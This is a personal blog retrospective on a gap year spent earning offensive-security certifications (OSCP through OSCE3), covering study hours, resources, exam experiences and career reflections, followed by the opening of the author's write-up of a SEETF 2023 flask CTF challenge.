I've learned that I only got to where I am by [standing on the shoulders of giants](https://en.wikipedia.org/wiki/Standing_on_the_shoulders_of_giants). At every stage of my journey, I overcome challenges because someone far more knowledgeable than me generously shared their expertise. Without OST2, how long would I have spent bouncing back and forth around C tutorials? Without Peter's Heap Masterclass, would I understand Heap Exploitation as well as I do today? Without Cedric's Exploitation 4011, would I have had the confidence to find the two bugs?
If last year was about by [going fast alone, this year was about going far together](https://andrewwhitby.com/2020/12/25/if-you-want-to-go-fast/). I've been awestruck by just how warm the security community has been to me. I'm proud to wake up everyday and work alongside some of the brightest minds in the industry. \
\
It's been an honor to have spent the last two years setting goals that seemed impossible at the time, conquer it, then share my learnings. I've pushed past limits I thought were unbreakable, and I hope to do the same in the years to come. I hope this retrospective can help you in some small way make better decisions, refine your approach, and avoid the silly mistakes I made.
### Souvenirs
To commemorate my journey, I asked five instructors I met in person to autograph a "[Reverse Engineer](https://gatherer.wizards.com/pages/card/details.aspx?multiverseid=423709)" MTG card. This idea was inspired by [LaurieWired](https://twitter.com/lauriewired), who gives out (far cooler) [Pokemon Cards](https://twitter.com/vxunderground/status/1690588133367189504) at conferences.
If we met at a conference this year, you [hopefully ](#user-content-fn-21)[^21]received one of these "Reverse Engineer" cards signed by me. I'd like to thank you for playing an irreplaceable part in my journey this year, and I look forward to meeting you again.
*I'll be handing "Reverse Engineer" and other security-related MTG cards out in every training/conference I go. I post which events I'll be going to on* [*Twitter/X*](https://twitter.com/_jaelkoh)*.*
[^1]: This is an **extremely rough** number. While I did log every work split, my start and end times were usually rounded to the nearest 15 minutes. Take this number with a big grain of salt.
[^2]: [CVE 2024-43570](https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-43570) and [CVE-2024-43535](https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-43535)
[^3]: AWE is the live training course that teaches the course materials. Students have to take the course and learn the material before taking the OSEE exam, a 72-hour practical exam that awards the OSEE certificate if you pass.
[^4]: It's in Spanish, I used Youtube's auto-translate captions to watch it
[^5]: *note: I have not taken this course*
[^6]: Personally, I'm a big fan of using both online and in-person the same way Xeno Kovah and OpenSecurityTraining2 [is trying to do.](https://ost2.fyi/Thoughts-on-OST2-B.html)
[^7]: I did not do the last Extra Mile
[^8]: This was basically my ["MOM GET THE CAMERA MOMENT](https://youtu.be/mLRbZJS5A_E?si=NjGYBXg1PNrQPZ_U)" ( also sorry mom)
[^9]: ~~I~~'m hoping to present about these bugs in a conference in 2025, and I'll publish the advisory after the talk.
[^10]: I'll be the first to say I'm don't think I've done a very good job of it - and that I'm working on it.
[^11]: Once again, I don't think I've done a very good job of this, and I'm trying to do better.
[^12]: This was a personal decision. My employer did not know when I was going to take the OSEE. I did not want to juggle my work and the certificate - so I made the call to take the exam before joining.
[^13]: ZDE was offering a discount at the time, ( (I don't remember how much)
[^14]: Included with Advanced Windows Exploitation course
[^15]: I purchased the course at a USD$200 discount
ringzer0 accidentally published a discount that was meant to go in effect after their early bird period elapsed. I emailed them about it and they honoured it.
[^16]: About \~USD$33,054.37 at time of writing
[^17]: I did manage to ask a OSEE holder in person about this and I did get a general answer from reading reviews about the OSEE.
The answer I got is pretty much the same as what I believe now - but I couldn't really understand it at the time.
[^18]: I think to a lesser extent the Malware Analysis industry could use these skills too, but I have no expertise in it so I won't talk about it.
[^19]: look, I just started this year okay.
[^20]: Obviously there are exemplary researchers with an OSEE - Connor McGarr for one.
[^21]: Apologies if we met but I forgot to give you one! Just let me know on [Twitter/X](https://x.com/_jaelkoh) so I can give you one the next time we meet in a conference/training!
# My First Year In InfoSec: Zero to OSCE3
In August 2022, I took a gap year to study OffSec certifications to "break into" the information security industry. In total, I spent [**1732**](#user-content-fn-1)[^1]**\*** hours studying, acquiring the [OSCP](https://www.offsec.com/courses/pen-200/), [OSWE](https://www.offsec.com/courses/web-300/), [BSCP](https://portswigger.net/web-security/certification), [OSEP](https://www.offsec.com/courses/pen-300/), [OSED](https://www.offsec.com/courses/exp-301/), [OSCE3 ](https://www.offsec.com/offsec/osce3-certification/)certifications. As of Feb 2024, I'm the youngest OSCE3[^2]\* in Singapore.
In this blogpost, I share my experience going from **absolute zero** to **OSCE3**. I've written this guide to share:
* How long it took for me to acquire these certificates
* What study resources I used to go from absolute zero to OSCE3
* Some tools I created which should help you with these exams
* My reflections after obtaining the OSCE3
At the end, I'll also try to answer questions like, "Was the gap year worth it?" and "Why am I still planning to attend college after this?".
*Please note: This article is a reflection of **my experience**. Your experience with studying certifications may be different. The learning path I took is not the* [*royal road*](https://www.dictionary.com/browse/royal-road)*. What works for me, may not work for you.*
### Why Certifications?
Certifications are a controversial topic in information security. In my opinion, certifications for practical, proctored exams are a great way to demonstrate your ability to employers. [However, they are not the **ONLY** way.](#user-content-fn-3)[^3]
I've found OffSec courses to be a well-structured environment where I could learn different areas of offensive security, while having a challenging exam as a end goal.
### Why a Gap Year?
After serving [mandatory national service](https://en.wikipedia.org/wiki/National_service_in_Singapore), I had little direction on where I wanted to go career-wise. Analyzing my potential options, I found information security to be a technical, [well-paid](https://www.bls.gov/ooh/computer-and-information-technology/information-security-analysts.htm), [impactful ](https://80000hours.org/career-reviews/information-security/)and safe option. Importantly, I saw that there were certifications like the OSCP which were considered the [**"gold standard"**\*](#user-content-fn-4)[^4].
If I could acquire these certifications, it could make me a more competitive candidate in job applications. A gap year to focus entirely on certificates seemed like an investment with [asymmetric returns](https://en.wikipedia.org/wiki/Asymmetric_payoff). In the worst case, I would lose a year. In the best case, I might get my hands on a [miracle year](https://www.dwarkeshpatel.com/p/annus-mirabilis).
## OSCP
*Note: I took the* [*2022 OSCP Exam*](https://www.offsec.com/offsec/oscp-exam-structure/)*. In 2023, the OSCP was* [*updated*](https://www.offsec.com/offsec/pen-200-2023/)*.*
*As with all my other OffSec courses, I purchased the* [*"90 Days Course & Exam"*](https://www.offsec.com/offsec/course-cert-bundle/) *bundle instead of the* [*Learn One*](https://www.offsec.com/products/learn-one/) *subscription. Before purchasing a course from OffSec, you may want to try reaching out to them for goodwill discounts. Alternatively, OffSec offers discounts for* [*students*](https://help.offsec.com/hc/en-us/articles/4415856211348-Do-you-offer-student-discounts) *and at the* [*year's end*](https://www.linkedin.com/posts/offsec-training_dont-miss-the-chance-to-save-20-on-learn-activity-7146817201621135360-6-yQ/?utm_source=share\&utm_medium=member_desktop)*.*
For the OSCP, I spent **651** hours, pwning a total of **136** machines and studying an average of **7 hours and 33 minutes** a day.
Below is a rough list of the study resources I used to pass the OSCP exam:
I did practice exams and wrote exam reports using machines from CSL.
### Review
The exam was **much** easier than I expected. Lateral movement, something I learned in [Holo](https://tryhackme.com/room/hololive), turned out to be **incredibly** important. Although I used [chisel](https://github.com/jpillora/chisel), nowadays I would recommend using [ligolo-ng](https://github.com/nicocha30/ligolo-ng).
Although it may look like I overprepared, I look back at this intensive preparation as laying a strong foundation for my future endeavors. To me, learning is a continuous journey, where knowledge builds upon each other. [I paid the startup cost of understanding ](https://youtu.be/7Ysy6iA2sqA?si=VISz34ggmyXIZXrh\&t=523)topics like Active Directory well, which was later helpful when I studied for the OSEP.
### Tips
1. Make a writeup for every machine as you complete it.
When pentesting, take notes about each machine and synthesize a writeup as you go . This will save a lot of time when you have to write a report for the OSCP exam. Furthermore, with each writeup you make, you now have a case study to reference when doing similar machines. \
When learning new topics, I also suggest taking [Atomic Notes](https://grahamhelton.com/blog/atomicnotes/) so you can network concepts and easily refer to them later.
2. Look up similar walkthroughs while pentesting.
Whenever you're stuck, I highly recommend looking at [0xdf's](https://0xdf.gitlab.io/tags)/[IppSec's ](https://ippsec.rocks/?#)website to see how similar machines were rooted. \
Suppose I was pentesting a [flask ](https://flask.palletsprojects.com/en/3.0.x/)web machine. I'd pull up [HackTricks ](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask)and [0xdf](https://0xdf.gitlab.io/tags#flask) on a second monitor to look at [flask-specific attack vectors](#user-content-fn-7)[^7]. There's a great chance that one of these vectors is the way forward.\
Whenever I got stuck for longer than 2 hours, [I would look up a walkthrough for the machine](#user-content-fn-8)[^8]. I would note down what I missed, and move on.\
After completing a box, I would compare my writeup with those online. Did I miss an alternative attack vector? Did they use a different tool? I would then update my writeup accordingly.
3. Do Practice Exams.
About a week before my scheduled OSCP exam, I would simulate the OSCP test environment by using machines of the same type and the same time constraints. This **significantly** reduced my nervousness during the actual exam.
## OSWE
For the OSWE, I spent **472** hours, studying an average of **6 hours and 2 minutes** a day.
*When possible, I scripted the solutions to each machine/study resource with python. I got comfortable using python's* [*requests library,*](https://requests.readthedocs.io/en/latest/) *which was essential in the OSWE exam.*
These were the challenge labs in the OSWE course and were really great practice for the actual exam.
### Review
Initially, the OSWE intimidated me because I had **zero** prior programming experience. A source code review exam sounded like a nightmare. I remember telling a friend, "I don't know how to read source code, how am I'm supposed to audit it and write exploits?"\
\
It didn't help that most of the OSWE reviews at that time, were from software engineers who had experience programming. Well, I'm living proof that you can get the OSWE from absolutely **zero** programming knowledge.
The exam was **moderately** easier than what I expected.
### Tips
1. [Stop Studying Programming](https://youtu.be/QMbx0dTWJIQ?si=EkdpKZ6FSrX6tgrS)
Initially, I got stuck because I was afraid of the requests library. I felt that I "wasn't good enough yet" and would jump around programming tutorials, hoping that after the next one I'd be "good enough" to learn how to write exploits. \
\
I think this kind of [procrastination was a **protective strategy** for coping with the conflicting fear of failing and the desire to succeed](https://youtu.be/52lZmIafep4?si=cYwv5DDQIpzQ5jCi\&t=646). It wasn't that I was unmotivated - in fact, I was **overmotivated**. However, if I failed to "learn" the requests library, then I felt it would mean that I had "failed" the OSWE. It seemed much safer to just study one more programming tutorial than risking it all.
What got me out of this predicament was **just doing it** - Out of frustration, I wrote an "exploit script" for [SecAura's Build it and Break it](https://github.com/SecAuraYT/OSWE/tree/main/SecAura%20Blog%20PHP%20Web%20App). I "chained" vulnerabilities I thought made sense, and in the process, had to confront the big scary monster that was the requests library documentation. It turned out to be incredibly readable and approachable.\
\
If you're ever in a similar situation, I recommend **just diving in**. You can learn anything with enough [time, effort and persistence](https://betonit.substack.com/p/do-ten-times-as-much). You never "learn" something one-and-done. It's a continuous journey where you pick up and put down things along the way.
Nowadays, I also recommend using LLMs like [ChatGPT](https://chat.openai.com/) to ask "How do I use the requests library?" and to clarify any worries you may have. Asking questions to a helpful programming coach can break down "impossible" tasks into approachable ones.
Looking back, it seems so stupid that I wasted time on programming tutorials instead of just [Reading The Fun Manual (RTFM)](https://www.youtube.com/watch?v=M9nonbu7tHA). Thankfully, now that I'm old and wise, I'll never make the same mistake again... so of course recently I fell into the same trap.
When I was learning C/C++ in preparation for the EXP-401. I would scour online posts looking for the "right" resources for learning. Thankfully, I thought back to my experience learning python, and **just jumped into** OpenSecurityTraining2's [Vulns 1001](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Vulns1001_C-family+2023_v1/course/) and [Vulns 1002](https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Vulns1002_C-family+2023_v1/course/) course, where I got to stare at vulnerable C/C++ code all day. I learned far more C/C++ by reading vulnerable code, than I did watching yet another programming tutorial.
## Interlude
After spending **\~1123** hours chasing certifications, I wanted to verify whether these certificates were actually useful, so I thought about getting an internship - but who would hire someone with zero job experience and no college degree?
### Social Engineering Experts
In January 2023, I joined [Social Engineering Experts](https://seetf.sg/), a Singaporean CTF team. At that time, I was studying for the OSWE and thought that Web CTF challenges were a good way to practice for it. It was a great decision - I made a lot of friends and even wrote my own [CTF challenge for SEETF 2023](https://infosec.jaelkoh.com/2023/seetf-2023-fu).
### KPMG
In May 2023, I interned at KPMG's Cyber Defense, doing mobile, web (blackbox and whitebox) penetration tests. It was a good experience applying the knowledge and methodology I earned through studying the OSCP and OSWE to make websites safer.\
I also did some open source security research and found [CVE-2023-3552. ](https://huntr.dev/bounties/aeb2f43f-0602-4ac6-9685-273e87ff4ded/)\
I ended the internship going on a [Department Trip to Vietnam](https://www.linkedin.com/posts/jaelkoh_internship-kpmg-cybersecurity-activity-7093216085151256576-bkdm), which was nice.
*Note: There are valid criticisms about* [*consulting*](#user-content-fn-10)[^10] *roles, but I didn't really mind because I was very early into my career.*
### BSCP
While I was at KPMG, I got access to [Burp Suite Pro](https://portswigger.net/burp/pro), which allowed me to take the [Burp Suite Certified Practitioner](https://portswigger.net/web-security/certification) (BSCP) exam. I didn't bother tracking the hours I spent studying. I just did all the Apprentice, Practitioner labs and the Practice exam.
The BSCP exam was incredibly stressful due to the short time constraints (4 hours). I remember reading exam reviews where students failed on multiple occasions, so I went into it expecting to fail at least ten times before passing. Surprisingly, I passed on my first try with **3 minutes left**, my hand trembling as I hurriedly submitted the last flag.\
\
*If you're considering taking the BSCP exam, I found this* [*github repo by botesjuan* ](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study)*incredibly useful for referencing during the exam.*
### Second Gap Year
Emerging from my internship, I knew I wanted to get the OSCE3. Thus, I declined my offer from the [National University of Singapore's Information Security programme](https://www.comp.nus.edu.sg/programmes/ug/isc/) to [take another gap year. ](#user-content-fn-11)[^11]
## OSEP
For the OSEP, I spent [**345** hours](#user-content-fn-12)[^12], studying an average of [**6 hours 20 minutes**](#user-content-fn-13)[^13] a day.
Study Resources
Review
OSEP Course Materials and Extra Miles
I did most of the extra miles. The sections "Bypassing Network Filters" and "Kiosk Breakouts" were not relevant to my exam.
Challenges 1-6
These were really easy.
Exam Attempt #1
Failed. The exam was a very different beast from what I was expected.
This was designed with realism in mind, which my methodology lacked.
### Review
The OSEP is a good course. It takes complicated topics like Active Directory exploitation and Antivirus Evasion and distills it into an approachable format. From a purely learning standpoint, it's well-made.
Unfortunately, the OSEP exam has some issues.
1. [The exam is not a good reflection of the course materials, extra miles and challenges.](#user-content-fn-14)[^14]
2. I ran into technical difficulties on **both** my exam attempts.
The exam was **harder** than what I was expecting. The majority of the course focused on Phishing and AV evasion and the Challenge machines were easy, so I expected the exam to be similar. Unfortunately, the exam leans towards standard OSCP-like exploitation and Lateral Movement.
#### Exam Attempt 1
I encountered technical difficulties in the exam network, and informed the proctor. The technical staff did not find any issues, and the exam continued. Later, I again informed the proctor about the issues , but upon reevaluation, they determined that no issues were present.
#### Exam Attempt 2
Once again, I encountered the same exam set, with the **same** technical difficulties. Fortunately, it was determined that there **were** technical difficulties present. I was given an extension of 2 hours, a free exam retake attempt, and a waiver of the cooling-off period. \
Nevertheless, I was able to find an alternative foothold that I missed on my first Exam Attempt, which allowed me to pass the exam.
In retrospect, I think most of my troubles stemmed from inaccurate expectations of what the OSEP exam was like. Had I approached the OSEP more like the 2022 OSCP, and trained more on other platforms, I think I would have had a much better experience.
I think before you take the OSEP exam, you should be comfortable with Lateral Movement using [ligolo-ng](https://github.com/nicocha30/ligolo-ng), Active Directory Enumeration with [BloodHound ](https://github.com/SpecterOps/BloodHound) and Exploitation using [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec). You should be familiar with OSCP-like foothold exploitation and privilege escalation. Your payloads also shouldn't trigger the AV in the Challenges.
### Tips
1. Be prepared
I maintained a secondary Windows VM dedicated to compiling Shellcode Runners, MSSQL exploits and phishing documents. This allowed me to efficiently transfer files to my Kali virtual machine using Shared Folders - a method that was simpler and faster compared to using the course's debug machine.
I kept a folder containing all my AMSI bypasses, Shellcode Runners, Enumeration Scripts and Post-Exploitation utilities. Using a Python web server, I could quickly transfer anything I needed onto the target machine.
I also wrote an enumeration script to automate a part of the enumeration process. You can find it here:
{% embed url="" %}
## OSED
For the OSED, I spent [**262** hours](#user-content-fn-12)[^12], studying an average of [**6 hours 20 minutes**](#user-content-fn-15)[^15] a day.
Study Resources
Review
Course Materials and Extra Miles
I did most of the Extra Miles except Faronics.
Challenge 2
I found this to be quite easy.
Custom Shellcode Exercises: MessageBox, download and run .msi over HTTP
This was really fun, I got comfortable reading MSDN for Win32 APIs.
### Review
The exam was **about as** difficult as I expected, which might come off as a surprise because the OSED is [often ranked the hardest of the OSCE3](#user-content-fn-16)[^16]. I think the OSED is painted in a bad light because topics like Assembly and Binary Exploitation look intimidating. That's a real shame, because it's a **great** course that teaches the fundamentals of Windows Binary Exploitation.
I myself have been guilty of this; I probably wouldn't have taken the OSED if it weren't a part of the OSCE3. I wrongly assumed that exploit development was too technical and "low level" for me. Looking back, I should have [given it five minutes](https://signalvnoise.com/posts/3124-give-it-five-minutes) - watched a [simple video](https://youtube.com/watch?v=qpyRz5lkRjE) about buffer overflows, before disregarding an[ entire field of infosec](#user-content-fn-17)[^17].
If it's any help, I'm living proof that you can achieve the OSED from absolutely zero binary exploitation experience.
I believe a key component of my success, was approaching these "intimidating" topics like [Structured Exception Handler Overwrites](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow) and [Egghunters ](https://fuzzysecurity.com/tutorials/expDev/4.html)**head on**, and asking ChatGPT to explain these concepts until they made sense. I learned that the Structured Exception Handler is basically like an operations room that calls a phone number in a log book whenever an exception occurs. By overwriting the log book ( SEH record ), you can make the program call ( execute ) your malicious phone number ( your code ).
### Tips
1. [Write your own tooling](https://www.youtube.com/watch?v=At-SWQyp-DY)
Writing custom shellcode and return oriented programming, is a really detail-oriented activity. You have to keep track of bad characters, offsets and gadgets. Instead of relying on my fallible mind, I combined [ommadawn46's win-x86-shellcoder](https://github.com/ommadawn46/win-x86-shellcoder) and the RopChain class from [@Tan90909090's OSED blog post](https://tan.hatenadiary.jp/entry/2023/10/30/020524) into an all-in one script. \
\
You can find the exploit template I wrote here:
{% embed url="" %}
## OSCE3
Two months after earning the OSCE3 Certification, I received my physical certificate and challenge coin.
Maybe the most expensive piece of paper I'll ever buy.
My [Linkedin post](https://www.linkedin.com/posts/jaelkoh_osce3-certification-secured-if-its-activity-7135779491062173696-6Lw4?utm_source=share\&utm_medium=member_desktop) about obtaining the OSCE3 did pretty well - 129,111 impressions.
Ever wondered how many views an OSCE3 post on LinkedIn receives?
Surprisingly, I received **0** messages from recruiters after getting an OSCE3. I didn't really mind, but I think this was probably due to the [bad job market ](#user-content-fn-18)[^18]and me not being in college[^19].
### Reflections
I realized that with each certificate I obtained, I took less and less time getting the next one. \
That's surprising, because I think I took the courses in **increasing** order of difficulty. I attribute this result to [knowledge transfer](#user-content-fn-20)[^20], [changes that increasing my productivity](#user-content-fn-21)[^21] and shifting towards working a [less intense schedule over time](#user-content-fn-22)[^22].
For what it's worth, I think this gap year was worth it. I got to make new friends, experiences and learn difficult, technical skills. I'm a more competent, competitive candidate than when I first started. I feel much more confident applying for internships and learning other technical subjects.
I do wish I didn't fall for the myth that there are [millions of cybersecurity jobs ](https://brothke.medium.com/the-big-lie-of-millions-of-information-security-jobs-a7cb1b30c5b6)available. \
I also wish someone with these certificates told me that they weren't the end-all-be-all of information security. I probably would have still took a gap year, but I would've had realistic expectations about what the OSCE3 can do for your career.
From all that I've asked/read, I think that it can set you apart from other candidates and get you into the interview room, but you still need the chops to get the role.\
Until I actually start looking for roles, I still don't know for sure how useful the OSCE3 is. For now, I'll keep my head down low and continue studying until I'm [so good they can't ignore you](https://youtu.be/qwOdU02SE0w?si=aK10t7zRAP0rST3f).
#### Trends
When I first started,[ there weren't any college undergrads with the OSCE3 in Singapore](#user-content-fn-23)[^23]. Now, excluding me, there are around 3. Recently,[ ***another*** 19 year old has achieved the OSCE3](https://www.linkedin.com/posts/redmeow_offensivesecurity-osce3-offsec-activity-7155081753592823808-xse5?utm_source=share\&utm_medium=member_desktop). I think infosec is shifting [towards certifications and academic degrees over Github Profiles](https://lcamtuf.substack.com/p/confessions-of-an-infosec-has-been), and I'm not sure how I feel about it.
### Should you get the OSCE3?
*Although I never intended for this article to encourage/discourage people from going after the OSCE3, I'm sure I'll get this question so* *I'll try my best to "answer" it.* \
*Also see:* [*The perils of general advice*](https://grahamhelton.com/blog/certificationindustrialcomplex/)*, and why advice about certificates are usually a recipe for disaster.*
As a 22-year old with \~3 months of job experience, I'm one of the least qualified persons to dish out career advice, so I won't. However, I think these questions are worth asking:
* Can you afford [**\~$7800**](#user-content-fn-24)[^24] worth of course materials?
* Can you make a lot ([ **1000++ hours** ](#user-content-fn-25)[^25]) of time for self studying?
* Most people I know study these courses while in work/school, and can take significantly ( [**\~11 months**](#user-content-fn-26)[^26] ) longer than the [<90 days I took for each course](#user-content-fn-27)[^27].
* Are you [earlier ](#user-content-fn-28)[^28]in your career?
### Should you take a gap year to study the OSCE3?
When I started, there were barely any resources and documentation about gap years. I think it's an incredibly personal decision, and I can't in good faith, give advice. Here are some questions that might be worth asking:
* Do you have **1 year or more** of living expenses?
* [Do you have prior experience/the ability to work for months self-directed at a time?](#user-content-fn-29)[^29]
* Do you have sources of support from friends and/or family?
* Are you okay with being misunderstood/isolated for long periods of time?
* Do you have the discipline to study consistently and focus for long periods of time?
* The value of the OSCE3 is indeterminate, is that okay with you?
It's also worth considering the possibility that on your deathbed, [no one will remember or care about the certificates you got](https://lcamtuf.substack.com/p/on-corporate-life).
### Why am I still planning to attend college?
*Interestingly, this is the number one question I get, whenever I tell others I'm taking a gap year to study certificates.*
The [education premium](https://www.betonit.ai/p/the-case-against-education-makes) for college graduates is [incredibly high ](https://nces.ed.gov/programs/digest/d22/tables/dt22_502.30.asp)(\~50%). [ Assuming you can graduate](https://www.betonit.ai/p/three_graphs_abhtml), college remains [one of the best ways to increase your income](#user-content-fn-30)[^30].[^31] \
I think gap years **may** be a great way to complement a college experience. Showing up as a driven, skilled candidate can give you a leg up in internships, which **may** compound into a [larger advantage down the line.](https://en.wikipedia.org/wiki/Matthew_effect)
## What's next?
Right now, I'm [hard at work studying](#user-content-fn-32)[^32] for the [OffSec's EXP-401 course](https://www.offsec.com/courses/exp-401/), arguably the hardest exploit development course in infosec. Later this year, I'll be attending [Corelan Advanced in Sydney](https://www.eventbrite.com.au/e/advanced-heap-exploitation-for-windows-tickets-692944855717?aff=oddtdtcreator), [Yarden Shafir's Windows Internals for Security Engineers](https://www.offensivecon.org/trainings/2024/windows-internals-for-security-engineers.html), [OffensiveCon 2024](https://www.offensivecon.org/) and [SINCON 2024's EXP-401 Live Training](https://www.infosec-city.com/event-details-registration/sin24-t-exp-401). If you're attending **any** of these, please send me a message via [LinkedIn ](https://www.linkedin.com/in/jaelkoh/)or [X/Twitter](https://twitter.com/_jaelkoh) *s*o we can meet up!
*Fun fact: As I was writing this article, I realized that I reached my 2000 hour studying anniversary. Here's to* [*8000* ](https://www.scotthyoung.com/blog/2024/01/23/10000-hr-rule-myth/)*more. 🎉*
[^1]: This is an **extremely rough** number. While I did log every work split, my start and end times were usually rounded to the nearest 15 minutes. Take this number with a big grain of salt.
[^2]: This is unconfirmed, as OffSec does not disclose the ages of their certificate holders. All I'm basing this off is [this ](https://www.linkedin.com/feed/update/urn:li:ugcPost:7135639960761618432?commentUrn=urn%3Ali%3Acomment%3A%28ugcPost%3A7135639960761618432%2C7135794229464752129%29\&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287135794229464752129%2Curn%3Ali%3AugcPost%3A7135639960761618432%29)comment.
[^3]: *For more about this,* [*Graham Helton*](https://grahamhelton.com/) *has a great article about* [*certifications*](https://grahamhelton.com/blog/certificationindustrialcomplex/)*, and alternative ways to demonstrate competence.* \
[*Louis Nyffenegger*](https://twitter.com/snyff) *has a great* [*talk* ](https://youtube.com/watch?v=Ys66llx4PvA)*about how to improve in this industry and the limitations of certificates.*
[^4]: *A controversial take, but I think the OSCP is one of the better options for getting your foot in the door for entry level roles. ( by no means the ONLY way. )*
[^5]: On one hand, I hated every moment of sitting around learning the difference between a CAT5 and a CAT6 cable. On the other hand, I may have avoided the pitfalls of[ "Just In Time learning"](https://youtu.be/Ys66llx4PvA?si=ZKkWkpAJWU4dctDz\&t=193)
[^6]: *Unfortunately they have since shut down.*
[^7]: *I've written a* [*flask challenge*](/2023/seetf-2023-fu) *before!*
[^8]: *Back then, there was this culture of "Don't read walkthroughs, just try harder".*\
*I think two hours is a sweet spot of "trying harder" and "not wasting time".*
*Walkthroughs are an essential part of learning because they allow you to introspect into the methodology of others.*
[^9]: These days, I couldn't tell you what it stands for. 🤣
[^10]: This [article by assume\_breach](https://assume-breach.medium.com/im-not-a-pentester-and-you-might-not-want-to-be-one-either-8b5701808dfc) shares why you might not want to be a pentester.
[^11]: *Technically*, this means the post should be titled "My First 15 months in Security", but it isn't as catchy.
[^12]: This number is **even more** inaccurate than usual because I failed the OSEP on my first attempt, so I ended up studying the OSED while waiting for the [exam cooling off period. ](https://help.offsec.com/hc/en-us/articles/4406830092564-What-is-the-Exam-Retake-Policy)
[^13]: This value is the same with the OSED because I failed the OSEP on my first attempt and ended up studying for the OSED while waiting for the[ cooling off period](https://help.offsec.com/hc/en-us/articles/4406830092564-What-is-the-Exam-Retake-Policy)
[^14]: In my opinion, the exam should reflect the course materials, as the certification demonstrates completion and understanding of the course.
[^15]: This value is the same with the OSEP because I failed the OSEP on my first attempt and ended up studying for the OSED while waiting for the[ cooling off period](https://help.offsec.com/hc/en-us/articles/4406830092564-What-is-the-Exam-Retake-Policy)
[^16]: Mostly from exam reviews I've read and comments from OffSec's discord server.
[^17]: This [keynote](https://youtu.be/s_Hk-35YTwE?si=ezCGwYESnOhgxmQz) by [Valentina Palmiotti](https://twitter.com/chompie1337), is a great overview of security research roles.
[^18]: Infosec layoffs: [layoffs.fyi](https://layoffs.fyi/)\
Also see: [The big lie of millions of information security jobs](https://brothke.medium.com/the-big-lie-of-millions-of-information-security-jobs-a7cb1b30c5b6)
[^19]: I'll be entering college in August 2024.
[^20]: I didn't have to learn python again for the OSED. My OSCP knowledge helped me with parts of the OSEP.
[^21]: I started using a fixed sleep schedule, exercising every day and studying elsewhere from my bedroom.
[^22]: During the OSCP and OSWE, I only took a rest day when I felt I needed to ( every \~10 days) :grimacing:. These days, I force myself to take one rest day a week.
[^23]: To the best of my knowledge.
[^24]: *Assumes 3x Learn One ( $2599 )*\
*Amount is likely higher due to subscriptions to other training services.*
[^25]: obviously HIGHLY dependent on your prior expertise with the topics, your ability to self study, etc.
[^26]: VERY loose number taken from some examples off the top of my head.
[^27]: I was able to study full time for these certificates.
[^28]: Certificates can help you get your foot in the door in entry level roles. See this [article ](https://grahamhelton.com/blog/certificationindustrialcomplex/)( Certification Pros section )
[^29]: This [article](https://colah.github.io/posts/2020-05-University/) is about how to think about whether to go to college, but it can be mapped onto gap years too.
[^30]: For more about this, I recommend reading [Bryan Caplan's The Case Against Education.](https://en.wikipedia.org/wiki/The_Case_Against_Education)
[^31]:
[^32]: I actually signed up for the EXP-401 before even starting the OSED course, but that's a story for next year's review.
# SEETF 2023: 福
Recursively sign a flask session cookie to satisfy a math problem
## Description
```
░░░░█▐▄▒▒▒▌▌▒▒▌░▌▒▐▐▐▒▒▐▒▒▌▒▀▄▀▄░
░░░█▐▒▒▀▀▌░▀▀▀░░▀▀▀░░▀▀▄▌▌▐▒▒▒▌▐░
░░▐▒▒▀▀▄▐░▀▀▄▄░░░░░░░░░░░▐▒▌▒▒▐░▌ 福福福福!
░░▐▒▌▒▒▒▌░▄▄▄▄█▄░░░░░░░▄▄▄▐▐▄▄▀░░
░░▌▐▒▒▒▐░░░░░░░░░░░░░▀█▄░░░░▌▌░░░
▄▀▒▒▌▒▒▐░░░░░░░▄░░▄░░░░░▀▀░░▌▌░░░
▄▄▀▒▐▒▒▐░░░░░░░▐▀▀▀▄▄▀░░░░░░▌▌░░░
░░░░█▌▒▒▌░░░░░▐▒▒▒▒▒▌░░░░░░▐▐▒▀▀▄
░░▄▀▒▒▒▒▐░░░░░▐▒▒▒▒▐░░░░░▄█▄▒▐▒▒▒
▄▀▒▒▒▒▒▄██▀▄▄░░▀▄▄▀░░▄▄▀█▄░█▀▒▒▒▒
```
**Author:** jeyas\
**Category:** Web\
**Flag:** `SEE{H0w_f0rtun4T3_Y3t_An0theR__FL4sk_UnSigN_}`\
**Difficulty:** Easy
It all started from this tweet by [@sahuang97](https://twitter.com/sahuang97) about z3 and crypto CTF challenges.
> z3 is too strong, author making a difficult CTF Crypto challenge probably should test against SMT if they do not wish unintended to happen (i.e. solve without deep understanding/diff analysis of the cryptosystem)? Any thought on this?
>
> — sahuang (@sahuang97) [March 2, 2023](https://twitter.com/sahuang97/status/1631212420516708352?ref_src=twsrc%5Etfw)
For those who don't do crypto challenges, z3 is a (Satisfiability Modulo Theories) solver that basically takes in logical problems and determines if there's a solution (satisfiable) or not (unsatisfiable).\
\
Because crypto challenges usually involve decrypting or breaking some sort of encoded/ciphered text, these challenges can be translated into a set of logical problems, where each problem is finding a key or part of a key.
### Who let bro cook?
After reading the tweet, I decided to play around with z3. I soon discovered that while z3 can find solutions, it may not always be the one you want. This got me thinking about creating a web challenge that would reverse this approach. Instead of using z3 to find the solution, participants would already know the solution and try to force z3 to calculate it.
I thought this concept was pretty interesting. You have this tool that typically takes shortcuts to find any solution, but you're trying to do the opposite of what it was made to do. To me, it felt like coaxing a fortune teller to tell you that you have good fortune -so I named the challenge 福 .
And so, with far too much bravado, I whipped up a terrible Proof-of-Concept and posted it on the[ Social Engineering Experts ](https://seetf.sg/)discord.
I know the code looks very very bad. In my defense, I wrote it very late at night and I didn't think it would actually be a challenge.
Normally, this would have just ended here. Another crazy idea for the wastebasket. However, [zeyu ](https://zeyu2001.com)replied and ***didn't*** say it was the worst thing he ever saw.
imagine reading the worst code ever and saying such nice things, thank you.
At this point, I ***(dubiously)*** decided that this idea was worth pursuing and decided to actually make this a web challenge. However I still had one thing to figure out: what's were my ~~victims~~ players supposed to solve?
To the best of my knowledge, there had not been a web ctf involving z3 in the backend (thank god), so I was kinda stumped as to how I wanted players to exploit this challenge.
